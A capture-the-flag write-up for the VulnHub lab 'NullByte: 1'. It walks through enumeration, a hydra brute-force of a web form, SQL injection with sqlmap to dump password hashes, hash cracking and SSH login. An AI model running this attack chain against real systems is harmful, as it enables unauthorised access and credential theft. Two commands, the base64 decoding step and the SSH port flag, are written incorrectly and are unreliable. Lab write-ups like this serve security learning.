Sumedh Dawadi **NullByte: 1**

Link_to Download: https://www.vulnhub.com/entry/nullbyte-1,126

1. With the help of command: arp-scan --local, I got the IP address of the machine.

IP address found: 192.168.1.10

2. Finding Directory:

```
gobuster dir -u 192.168.1.10 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
```

Directory Found:

/phpMyAdmin

/upload

3. I found the image that has a Ciphertext hidden. Here we have used the tool called Exiftool.

exiftool main.gif

Ciphertext: kzMb5nVYJw

4. Brute forcing the Dashboard.

```
 hydra 192.168.1.10 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^: invalid key" -l x -P
/home/sumedh/Downloads/rockyou.txt -t 10 -w 30
```

5.Password Found:

```
Password: elite -> [80][http-post-form] host: 192.168.1.10   login: x   password: elite
```

6. Found a field that is vulnerable to SQL:

" : have used " to check if the field is vulnerable to SQL-injection.

Result: -> Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%"' at line 1

7. With help of Burp-suite I saved into a file called sql.txt:

```
sqlmap -r sql.txt --dump
```

8.Database called Seth was found that had information.

Database: Seth

9. Table users was found:

Table: users

```
[2 entries]

+----+--------------------------------------------+--------+------------+

| id | pass                                       | user   | position   |

+----+--------------------------------------------+--------+------------+

| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |

| 2  | --not allowed--                            | isis   | employee   |

+----+--------------------------------------------+--------+------------+
```

10. Base64 hash was found after using the command:

echo "c6d6bd7ebf806f43c76acc3681703b81" | base64 -d

c6d6bd7ebf806f43c76acc3681703b81base64 (base64 hash)

11. MD5 password was found after cracking from crackstation.com

c6d6bd7ebf806f43c76acc3681703b81

Password: omega

12. Log-in with SSH #By default, the SSH server still runs in port 22. But the port was 777

ssh ramses@192.168.1.10 -p- 777

Password: omega